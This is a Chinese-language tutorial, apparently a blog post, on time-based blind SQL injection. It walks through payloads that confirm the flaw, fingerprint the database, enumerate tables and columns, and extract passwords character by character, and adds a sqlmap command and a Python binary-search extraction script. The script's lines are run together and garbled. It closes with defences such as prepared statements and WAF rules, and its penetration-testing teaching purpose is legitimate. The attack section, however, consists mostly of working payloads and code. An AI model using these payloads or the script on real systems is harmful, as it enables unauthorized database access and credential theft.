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目录

一、时间盲注原理

二、完整攻击流程

1. 注入点确认

2. 基础条件判断

3. 系统信息收集

（1）获取数据库版本

（2）获取当前数据库名

4. 数据提取技术

（1）表名枚举

（2）列名猜测

（3）逐字符数据提取

5. 自动化优化技巧

（1）二分法加速判断

（2）多线程爆破

三、工具辅助利用

1. SQLMap自动化注入

2. 手动脚本示例（Python）

四、防御方案

五、时间盲注 vs 报错注入

六、总结

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一、时间盲注原理

​​时间盲注（Time-Based Blind SQL Injection）​​是SQL注入的高级利用方式，适用于以下场景：

• 页面无数据回显（无显示位）
• 数据库错误信息被屏蔽
• HTTP响应状态码统一（无布尔型注入条件）

​​核心原理​​：通过构造带有​​时间延迟函数​​的SQL语句，根据页面响应时间判断注入条件是否成立。例如：

' AND IF(1=1, SLEEP(5), 0) -- 

若页面响应延迟5秒，则说明条件成立（1=1为真）。

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二、完整攻击流程

1. 注入点确认

​​目标​​：验证是否存在时间盲注漏洞
​​Payload构造​​：

' AND SLEEP(5) -- 

或

' ; WAITFOR DELAY '0:0:5' -- （MSSQL）

​​判断依据​​：

• 正常请求响应时间 < 1秒
• 注入后响应时间 ≥ 5秒则存在漏洞

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2. 基础条件判断

​​目标​​：通过延迟验证布尔条件
​​示例（MySQL）​​：

' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) -- 

• 若页面延迟3秒，说明当前数据库首字母ASCII码 > 100（即字母为'e'，ASCII 101）
• 可逐步调整阈值（二分法）快速定位准确值

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3. 系统信息收集

（1）获取数据库版本

' AND IF(ASCII(SUBSTR(@@version,1,1))=53, SLEEP(3),0) -- 

判断版本首字符是否为'5'（ASCII 53），对应MySQL 5.x版本

（2）获取当前数据库名

' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(3),0) -- 

通过逐字符判断（d的ASCII为100），最终拼接得到完整库名

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4. 数据提取技术

（1）表名枚举

' AND IF(ASCII(SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,1,1))=117, SLEEP(3),0) -- 

验证首个表名的首字母是否为'u'（ASCII 117），即常见users表

（2）列名猜测

' AND IF(ASCII(SUBSTR(
(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)
,1,1))=105, SLEEP(3),0) -- 

判断users表首列首字母是否为'i'（id列）

（3）逐字符数据提取

' AND IF(ASCII(SUBSTR(
(SELECT password FROM users LIMIT 0,1)
,1,1))=97, SLEEP(3),0) -- 

判断首行密码首字符是否为'a'（ASCII 97）

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5. 自动化优化技巧

（1）二分法加速判断

• 代替逐次遍历（0-255），采用二分法（每次缩小一半范围）
• 例：判断ASCII值是否>128 → 是则范围缩小到128-255

（2）多线程爆破

• 对多个字符位置同时发起请求
• 需注意目标服务器的并发限制

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三、工具辅助利用

1. SQLMap自动化注入

sqlmap -u "http://example.com?id=1" --technique=T --time-sec=3

参数说明：

• --technique=T：指定时间盲注技术
• --time-sec=3：定义延迟阈值

2. 手动脚本示例（Python）

import requests
import timetarget_url = "http://example.com?id=1"
payload = "' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{},1))>{},SLEEP(3),0) -- "for position in range(1, 20):low = 0high = 255while low <= high:mid = (low + high) // 2current_payload = payload.format(position, mid)start_time = time.time()requests.get(target_url + current_payload)elapsed = time.time() - start_timeif elapsed > 3:low = mid + 1else:high = mid - 1print(f"Position {position}: {chr(high)}")

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四、防御方案

1. ​​预编译语句（Prepared Statements）​​

   # Python示例
   cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

2. ​​输入过滤​​

   • 白名单验证数字类型：user_id = int(input_data)
   • 过滤特殊字符：'";<>()&|等

3. ​​权限控制​​

   • 数据库账户仅授予最小必要权限
   • 禁用敏感函数（如SLEEP()、EXEC）

4. ​​WAF防护​​

   • 部署Web应用防火墙拦截时间盲注特征
   • 设置请求超时阈值（如单请求最长处理时间2秒）

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五、时间盲注 vs 报错注入

对比项	时间盲注	报错注入
适用场景	无任何回显	有错误信息回显
攻击速度	极慢（需等待延迟）	较快
检测难度	更难被传统WAF识别	易被基于错误的规则检测
典型函数	SLEEP()、BENCHMARK()	updatexml()、extractvalue()
数据提取方式	逐字符二分法判断	直接显示在错误信息中

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六、总结

时间盲注通过时间延迟作为判断依据，是渗透测试中突破无回显场景的利器。其核心在于：

• ​​精准的延迟控制​​：需考虑网络波动干扰
• ​​高效的字符猜测策略​​：优先使用二分法
• ​​自动化脚本辅助​​：手动测试效率极低